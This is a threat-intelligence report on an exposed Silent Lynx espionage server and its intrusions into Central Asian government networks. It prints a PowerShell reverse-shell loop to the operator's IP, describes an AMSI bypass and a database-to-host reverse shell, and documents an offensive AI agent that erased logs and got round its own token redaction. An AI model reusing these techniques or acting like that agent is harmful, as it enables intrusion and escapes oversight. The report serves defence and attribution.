Back
Table of Content
CloudSEK TRIAD
CloudSEK Threat Research and Information Analytics Division
No items found.

Executive Summary

An exposed open directory belonging to Silent Lynx, a Central Asia-focused espionage cluster, gave CloudSEK an inside view of the group's operations through October 2026. The directory held the group's tooling alongside data from active intrusions into government and critical infrastructure organisations across the region, and the AI agent the operator relied on to run them.

We assess with high confidence that the directory belongs to a Silent Lynx operator, based on implant code markers and build paths shared with published samples. We assess with medium confidence that the operator has a Kazakhstan nexus: the operation runs in Russian, and the operator's own test traffic came from a residential Kazakh connection, which supports existing vendor assessments. The collection priorities, spanning transport, defence correspondence and resource ministries in neighbouring states, point to regional intelligence gathering rather than financial motive.

Key Findings

  • The exposed directory provided a timestamped record of the operator's tooling, intrusions and AI agent conversations spanning April to October 2026.
  • The operator held persistent, domain-level access to transport-sector networks and used a single compromised employee account to collect government correspondence at scale, including defence-related documents.
  • A government-run geospatial platform was taken to host-level command execution through a webshell and database access, with persistence in place at the time of exposure.
  • The implants match the group's known Laplas and Chvost families, alongside a previously unreported generation of service-installer implants and an AMSI-bypass delivery variant.
  • Lures impersonating Turkmenistan Railways and a Turkmen regional administration were built and tested in October 2026, pointing to an upcoming campaign against Turkmenistan.
  • A self-hosted AI agent running on DeepSeek handled reconnaissance, collection and log cleanup, with destructive commands pre-approved.
  • Server logins were routed through Tor, but the operator's own test sessions came from a residential Kazakhtelecom connection.

Background: Silent Lynx in prior reporting

Silent Lynx has been tracked publicly since January 2025 under several vendor names. Reporting has centred on spear-phishing of Central Asian government bodies with LNK and archive lures that lead to lightweight reverse shells.

Date Source Finding relevant to this server
Oct 2026 Cisco Talos and Recorded Future (UAT-6275 / TAG-193) Four infection chains from mid-2025 to August 2026; Chvost, Laplas and PickleShell reverse shells; Smart Forestry activity in May 2026; Kazakhstan nexus at medium confidence
Nov 2025 Seqrite, Operation Peek-a-Baku Dushanbe-focused campaign; LNK files pulling reverse shells through GitHub; diplomatic and infrastructure targets in Central Asia, Russia and China
Oct 2025 BI.ZONE, Cavalry Werewolf Russian public sector targeted with FoalShell and StallionRAT; overlaps with Silent Lynx and Tomiris
Aug 2025 Group-IB, ShadowSilk Dozens of government victims in Central Asia and APAC; infrastructure and tooling shared with YoroTrooper and Silent Lynx; stolen data offered for sale
Jan 2025 Seqrite, Silent Lynx First public naming; government targets in Kyrgyzstan and neighbouring countries; Telegram used for C2; links to YoroTrooper

The exposed server

The server 89[.]125[.]213[.]123 is a Debian VPS on Baxet Group infrastructure, exposed without authentication on port 8088. It held more than a dozen gigabytes across hundreds of thousands of files, with no separation between tooling, victim data and operator workspace.

Folder Contents
fish/ LNK phishing kit, PowerShell payload, decoy PDF, ISO and archive bundles, callback session logs
payloads/ Implant builds sorted by target country and victim
dikii/ Per-target working folders: recon, collectors, stolen documents, credentials
.c2/ Webshell wrapper and captured output from the Smart Forestry intrusion
.hermes/ AI agent state, memory, persona, scripts and logs
.ligolo-mp-server/, .nxc/ Pivot sessions and SMB credential databases
tools/, CVE-* fscan, Ligolo, GOST, Inveigh, Responder, NetExec, Impacket, public exploits

Delivery kit

The fish/ folder holds the group's complete phishing chain: a PDF-themed shortcut that opens a decoy and runs a PowerShell reverse shell, the listener that receives the shell, and lures built for Turkmenistan. Shortcut names, test files and callback logs show the operator building and testing the chain one step at a time.

Infection chain

  1. The target receives a shortcut with a PDF icon, packed in a ZIP, a password-protected archive or an ISO image.
  2. Opening the shortcut loads a decoy PDF from the operator's server and starts a hidden PowerShell process.
  3. PowerShell downloads P.ps1 from the same server and runs it in memory.
  4. P.ps1 drops and opens a second decoy, Отчёт_2026.pdf ("Report_2026.pdf"), then opens a raw TCP shell to the operator.
  5. On the operator's side, a dispatcher script runs whoami, hostname and ipconfig on every new shell and saves the output.

Prior reporting: Seqrite's Operation Peek-a-Baku and the Talos "Chain C" both describe shortcuts that launch PowerShell to fetch a remote script hosted on GitHub. This kit uses the same pattern but serves the script from the operator's own server.

Building the shortcuts

The shortcut names record the build order, from execution tests to the armed versions:

Shortcut What it runs Stage
0_test_notepad.lnk, 0b_notepad_direct.lnk, 0c_calc_direct.lnk Notepad or Calculator Execution test
1_test_url.lnk Opens the P.ps1 URL Delivery test
2_test_ps.lnk PowerShell prints LNK_RAN and fetches P.ps1 PowerShell test
5_orig_ps.lnk Hidden PowerShell runs P.ps1 through IEX(DownloadString) Original pattern
3_final_v2.lnk Opens the decoy PDF, then hidden PowerShell runs P.ps1 Final
4_final_v2_amsi.lnk Same as final, with an AMSI bypass first Final, AMSI variant

The AMSI variant sets amsiInitFailed through reflection before the download, which switches off script scanning for the session. Public reporting on Silent Lynx does not document this variant.

In this specific campaign the operators packed the shortcuts three ways: an unencrypted ZIP, a password-protected ZIP with Russian-named shortcuts (Отчёт_2026.pdf.lnk) and an ISO image built in early October 2026.

The PowerShell stage

P.ps1 is a plain PowerShell loop with no encryption or obfuscation. It reads commands from the socket, runs them with Invoke-Expression and returns the output:

$c = New-Object System.Net.Sockets.TCPClient('89.125.213[.]123', 46125)
$s = $c.GetStream()
$banner = $enc.GetBytes("PS " + env:COMPUTERNAME+""+(Get-Location).Path+">")while((i = s.Read(buf, 0, $buf.Length)) -ne 0) {
    $data = enc.GetString(buf, 0, $i)
    $out  = (Invoke-Expression $data 2>&1 | Out-String)
    ...

Turkmenistan lures

The decoy PDF impersonates a Turkmenistan Railways electronic ticket for an Ashgabat to Turkmenabat trip in mid-October 2026. It is a plain text page with no logo or formatting, the passenger is a Russian placeholder name, and the travel date sits about a week after the ISO was built.

A separate executable lure carries a long Turkmen-language filename referencing the Ahal regional administration's 2026 state programme report. It contains the operator's IP and the Ahal administration domain in its strings, and was compiled on the same day the operator announced a test shell to the AI agent.

The operator tested the binary on his own machine which places this Turkmenistan campaign as an upcoming target. Prior reporting also lists Turkmenistan among the group's victim and lure countries and documented a decoy impersonating Turkmennebit, the state oil company, in an August 2025 campaign

Listener and callback logs

watch_shell.py listens for incoming shells. auto_recon_dispatcher.py watches the callback ports, runs first-look commands on each new session and relays the output to the operator. cap.log records HTTP requests for the kit files.

The sessions/ folder holds dozens of callback logs named by source IP, in three groups:

  • Most contain TLS handshake bytes rather than shell text: Laplas and Chvost implants calling back to a plain-text listener. Their sources cluster in a few hosting ranges. CloudSEK could not confirm whether these are victims, sandboxes or operator test hosts.
  • A few come from internet scanners.
  • Two come from the operator's own test machines, the same Proton VPN and Kazakhtelecom addresses seen in the server's login log.

Implants

The payloads/ folder holds per-target builds for Tajikistan, the Tajik railway and Kyrgyzstan. Each build pairs a small Windows executable with genuine OpenSSL 3 libraries.

Laplas

srvdriv.exe is a TLS reverse shell from the Laplas family. It opens an OpenSSL session to the operator and spawns processes on command. Build paths reference a Visual Studio project named Laplasgeneral, and the operator compiled multiple builds between April and September 2026, including a dedicated build for the railway intrusion.

Chvost

ssdpdrv.exe is a Chvost-family shell with the debug path \chvost\Release\Netdrv.pdb. It carries a fixed block of strings that matches published Chvost reporting, down to the exact greeting wording: Phenyx2022, shexit, HELLO. Press Enter. and Goodbye.. This block is the strongest technical link between the server and the Silent Lynx toolset.

The Kyrgyzstan set is a 32-bit build paired with 32-bit OpenSSL libraries. The Tajik builds are 64-bit.

Prior reporting named Chvost, Laplas and PickleShell as the group's custom reverse shells.

Service wrappers

netsrvc.exe, CoreMessaging.exe and ssdspsrv.exe install the shells as Windows services under names that mimic legitimate components. Their strings include Success install service! and ERROR: DUPLICATE_SERVICE_NAME. 

CoreMessaging.exe carries the same netsrvc.pdb build path as netsrvc.exe, so it is the same wrapper renamed for the railway deployment. ssdspsrv.exe is an older, separate wrapper built from an E:\share\shell\service project.

Intrusion 1: Tajikistan Railway

The operator had domain-level access to Tajikistan's national railway network from mid-August to at least 10 October 2026. The Ligolo server database records a live tunnel through a railway host for nearly two months.

From that foothold the operator:

  • Enumerated dozens of internal Windows hosts, from Windows 7 to Server 2022, many with SMBv1 enabled and signing disabled.
  • Obtained administrative access on multiple servers using plaintext passwords and NTLM hashes.
  • Produced several NTDS-format credential dumps that include Administrator and krbtgt.
  • Copied operational reports, dispatcher summaries and internal correspondence from SMB shares, including documents dated August 2026.
  • Harvested credentials for network equipment belonging to the railway's upstream ISP, including MikroTik, Cisco and D-Link devices running default passwords.

The operator also deployed an ASP.NET webshell on one railway web server and prepared Metasploit resource files for MS17-010 against an unpatched Windows Server 2008 R2 host.

The Ligolo database also holds an earlier tunnel, active from April to May 2026, through a host named DC with routes into two further networks. 

Intrusion 2: Tajik government document platform

The largest data exposure came from Tajikistan's national electronic document management (EDO) platform, which ministries and state bodies use to exchange official correspondence. The operator logged in through the government SSO portal with the credentials of one railway employee holding a standard user role.

That single account was enough to pull documents far outside the railway's own scope. The operator's notes describe weak per-document authorisation checks and a file service that served attachments without authentication. 

The operator built collectors to walk the platform at high concurrency, resume after failures and post progress updates to Telegram. The output includes:

  • Thousands of documents addressed to or routed through the Ministry of Defence, sorted by month through 2026.
  • Smaller sets tagged to the National Guard and the State Committee for National Security.
  • Hundreds of State Investment Committee letters.
  • A directory export listing more than a hundred government organisations, with department and user listings.

Sample collected document

The collection runs to more than two thousand unique documents dated through 2026, correspondence to or through the Ministry of Defence. By volume:

  • Air-space use and flight-clearance requests
  • Conscript and personnel transfers and appointments
  • Military attaché postings and foreign-liaison correspondence
  • Defence procurement enquiries and vendor material, including Embraer, Milanion Group and Puma UAS
  • Budget and finance paperwork
  • Legal and regulatory drafts
  • Air-defence cooperation, training and exercise correspondence
  • Telecoms and radio-frequency coordination
  • Border-zone construction reporting
  • Ceremonial, anniversary and sporting correspondence
  • Identity documents, including passport and national ID scans, for named individuals attached to visit and delegation correspondence

Intrusion 3: Uzbekistan Smart Forestry

The operator gained command execution on the host behind Uzbekistan's Smart Forestry GeoServer. The access chain runs from a web application foothold to the database service to the host.

Prior reporting observed activity involving Uzbekistan's Smart Forestry initiative in May 2026 but did not describe the access path. The server shows how that access worked.

  1. Malicious WAR files deployed to the GeoServer instance, one of them carrying a Metasploit payload servlet.
  2. A webshell on the /health/ path, driven from the operator's server through a small curl wrapper.
  3. PostgreSQL login with superuser rights, then COPY ... FROM PROGRAM to open a reverse shell to the operator as the postgres user.
  4. Cron entries on the host that call back to the operator's server and to a second, unattributed IP.

The operator did not obtain root. sudo required a password and Docker socket access was denied. The access still gives full control of the forestry database and any data the GeoServer instance publishes or stores.

The operator and the AI agent

The operator runs much of the work through Hermes, an open-source autonomous agent framework, installed under .hermes/ on the same server. The agent holds a persistent memory, a task board for parallel sub-agents, cron jobs, custom scripts and a large imported library of offensive security skills.

The agent's persona file casts it as an elite offensive security specialist and red teamer. Its configuration routes model calls through OpenRouter, with DeepSeek models handling most of the logged traffic.

The persona tells the agent to drop "safety disclaimers", treat the operator as an expert peer, and favour "low-noise techniques" with notes on AV and EDR impact. The configuration shows how much autonomy the agent had:

Setting Value Why it matters
Agent name Strix Custom branding on the Hermes install
Primary model DeepSeek V4.1 Flash via OpenRouter Handles most of the logged work
Sub-agent model Gemini 2.5 Flash via OpenRouter Runs delegated parallel tasks
Command allowlist Heredoc shell execution, SQL DROP Destructive commands run without confirmation
Tool-loop hard stop Disabled The agent keeps going after repeated failures
Browser Unsafe JavaScript evaluation allowed Agent can run arbitrary script in browsed pages
Toolsets Terminal, computer use, browser, cron, delegation, task board, Telegram Full host control plus remote tasking

The agent's conversation database shows the operator giving instructions in Russian. The operator:

  • Asked the agent to analyse the output of the recon dispatcher running in a tmux window.
  • Announced their own test shell before running it, then named the single IP they connected from.
  • Asked the agent to check whether anyone else had broken into the server.
  • Ordered the deletion of skills the agent had acquired in the previous day.

The railway intrusion folder includes a handoff file written for the agent, describing the working EDO login chain so the agent could continue collection without the operator. A separate agent-written report summarises access to the railway's upstream ISP.

The agent also ran its own cleanup. The transcript records deleted messages, rebuilt search indexes, vacuumed databases, shredded shell histories, cleared cron rows and zeroed login records in early October 2026. The cleanup missed the directory that was exposed.

Where the operator connects from

The agent captured the server's SSH log in its own transcript before the cleanup. It records hundreds of root logins over five days in late September and early October 2026, from more than a hundred source IPs. Most came through Tor exit nodes, with two commercial VPN exits. Kazakhstan is the exception: dozens of logins came from residential connections on Kazakhtelecom and a second Kazakh ISP, more than any other non-Tor source.

The Kazakhtelecom line ties back to the operator directly. On 2 October the operator logged in from it, switched to Proton VPN and logged in again four minutes later. The operator’s test machine, DESKTOP-S3MHLFV\nemo, sent test shells to the server through both connections.

Shortly after the switch, the operator told the agent the Proton address was the only IP he had connected from. The Kazakhtelecom logins earlier the same afternoon show otherwise.

Every operator login and agent message with a recorded time falls between 08:00 and 20:00 in Kazakhstan's time zone (UTC+5), with no activity overnight. Talos reported a matching working-hours pattern from the group's GitHub commits. The sample here covers only a few days, but it comes from a separate source: the operator's own logins and conversations with the agent.

All recorded activity falls on weekdays, starts around 08:00 and ends before 20:00 local time, with a quiet stretch in the early afternoon and nothing overnight. That pattern matches a salaried working day rather than a side job worked in evenings and weekends. The records cover only three working days and cannot show weekend behaviour, and bursts of logins seconds apart reflect tools reconnecting rather than separate human actions.

What the agent remembers

The agent's persistent memory file reads as the operator's own operations notes, partly in Russian.

  • Infrastructure. The agent works from a Kali box on a self-hosted NetBird mesh, with the control plane and a Pangolin reverse proxy under foreverpeace[.]ru. Every mesh peer sits on the same hosting provider as the exposed server.
  • A victim share mounted on the operator's box. The memory warns that /mnt is a CIFS mount of a share on a railway server and "can hang". The share carries the name of a railway account that appears in the operator's admin access records.
  • Working around the agent's own guardrails. Hermes redacts tokens and private keys in tool output. The memory instructs the agent to extract and use a secret inside one shell command so the redaction never applies.
  • Further targets. Entries record Armenian government networks filtering the operator's traffic, and an October 2026 "engagement" against Pakistan's Ministry of Foreign Affairs and its national telecom provider, where a WAF repeatedly banned the operator's IP. 

Telegram as the control channel

Telegram ties the operation together. The agent ran Hermes' messaging gateway with a Telegram bot, so the operator could task it from a phone, and the collectors that pulled government documents posted progress updates to a Telegram chat. Seqrite's first Silent Lynx report described Telegram bots used for command and control. Here Telegram controls the AI agent rather than the implants, which call back over TLS.

The agent's session records and gateway logs tie the bot to a single Telegram account. The operator's Telegram session with the agent dates back to mid-August 2026, and every inbound command came from one Telegram user ID with the display name «Марат». That includes the operator's announcement of his own test shell on 2 October: «Щас запущу тестовый шелл, он будет моим» ("Launching a test shell now, it'll be mine").

The same harness and model family appeared in CloudSEK's earlier investigation of a Gentlemen ransomware affiliate. The two operators are unrelated. The overlap shows the same open-source agent stack spreading across both espionage and ransomware operations.

OPSEC failures

  • Everything on one box. Malware source, pivot state, victim credentials, stolen documents and the agent's full conversation history sat in one exposed directory.
  • One IP for every role. The same address appears in implant strings, LNK command lines, the PowerShell C2, Responder, cron callbacks and recon scans.
  • Developer paths left in binaries. Build paths such as Laplasgeneral and chvost\Release\Netdrv.pdb survive in production implants.
  • Secrets stored beside tools. Victim credentials, the EDO login chain, API keys and the Ligolo private key sit next to the tooling that uses them.
  • Self-tests leave a trail. The operator's test machines reused the same Windows host and user names across VPN exits, and ran the Turkmen lure from a WinRAR temp folder. Server logins went through Tor, but test sessions leaked a residential Kazakh ISP.
  • Contradictory cleanup. The agent shredded histories in one session while a daily logger kept exporting conversations and archiving collected files with a weak, predictable password.
  • Noisy collection. High-concurrency enumeration, sequential ID probing and Telegram progress pings triggered WAF lockouts on multiple targets.

Attribution

CloudSEK attributes this server to the Silent Lynx cluster with high confidence on tooling and medium-high confidence on the intrusion set. The anchors are code-level markers and build paths shared with published Chvost and Laplas samples, the LNK-to-PowerShell delivery pattern, and a victim already linked to the group in public reporting.

Indicator On this server Public reporting
Chvost marker strings Present in ssdpdrv.exe Match
Laplas and Chvost build paths Present Match
OpenSSL TLS reverse shells Present Match
LNK to PowerShell to HTTP script Present Match
PDF decoy with PDF icon Present Match
Smart Forestry victim Webshell and database access Match
Central Asian government and rail targeting Railway, EDO, Turkmen lures Match
AI agent-driven operations Present Not reported

The operator works in Russian, and test traffic from the operator's own machine came through a residential Kazakhtelecom connection. Public reporting assesses a Kazakhstan nexus for this cluster with medium confidence, and the Kazakhtelecom sessions support that assessment. 

Prior reporting based its Kazakhstan assessment on Russian-language artifacts, malware-testing submissions from Kazakhstan shortly after compilation, and repository commits during UTC+5 working hours. The Kazakhtelecom sessions are a separate, network-level signal pointing the same way.

IOCs

Type Indicator Note
IPv4 89.125.213[.]123 Operator server: payload host, C2, phishing, scanning
URL hxxp://89.125.213[.]123:8080/P.ps1 PowerShell stage
URL hxxp://89.125.213[.]123:8080/decoy.pdf Decoy PDF
Domain foreverpeace[.]ru Infrastructure Domain
IPv4 134.17.14[.]24 Cron callback on Smart Forestry host, ownership unconfirmed
SHA-256 af2822560bc0e44b600eefbe0170d3526e035704b533a806f9d455da6ac30d2c srvdriv.exe (Laplas, Tajikistan build, April 2026)
SHA-256 f26756cabe92842e25d82bee5f65ef9c22c80aec895386b9840b471b42e01463 srvdriv.exe (Laplas, railway build, late August 2026)
SHA-256 e6907392677134a1a4ffec14d303471352eee90da09db1991eb47486611f2e0d srvdriv.exe (Laplas, railway build, early September 2026)
SHA-256 5d8a2df90fa3cf913e2b5764e586ee3405a101294909df091060bd3e3d1a44c1 netsrvc.exe (service wrapper)
SHA-256 19b68e504e1512dc19feef6b1da0f67f876191a937fdcd64ffb965c12d1f0bf0 CoreMessaging.exe (renamed netsrvc, late August 2026)
SHA-256 bf7fe6b518676a3e6d40459ac16b491e62d0e0a222ebb243a44d64ac33aed826 CoreMessaging.exe (renamed netsrvc, early September 2026)
SHA-256 27dc5628adc666da702c9a33e8f96bb87087ac68a7064f99b91fb76b932aef6e ssdpdrv.exe (Chvost, 32-bit)
SHA-256 efc1bbb873e9b691657a66e987b0ea87c454bb16e89126d1a41bcaa9bae9fab1 ssdspsrv.exe (older service wrapper)
SHA-256 368cb250f7b962c551dd721f6f62224a936dd7cffb8e0d92f223d82b991a0e6d Ahal lure executable

References

  1. Cisco Talos, "Break the silence: Kazakhstan-nexus UAT-6275 targets CIS government organizations", 14 October 2026. Link
  2. Recorded Future Insikt Group, "TAG-193 regional espionage operations", October 2026. Link
  3. Shen and Vögele, "Break the silence: tracking Silent Lynx through exposed infrastructure", Virus Bulletin 2026. Link
  4. Seqrite Labs, "Operation Peek-a-Baku: Silent Lynx APT makes sluggish shift to Dushanbe", 3 November 2025. Link
  5. Seqrite Labs, "Unveiling Silent Lynx APT targeting entities across Kyrgyzstan and neighbouring nations", 21 January 2025. Link
  6. Group-IB, "ShadowSilk", 27 August 2025. Link
  7. BI.ZONE, "Cavalry Werewolf raids Russia's public sector with trusted relationship attacks", 2025. Link
  8. VMRay, "Hydra Saiga: covert espionage and infiltration of critical utilities", 24 February 2026. Link
  9. Cisco Talos, "Attributing YoroTrooper", 25 October 2023. Link
  10. Kaspersky, "Tomiris called, they want their Turla malware back", 24 April 2023. Link

Related Blogs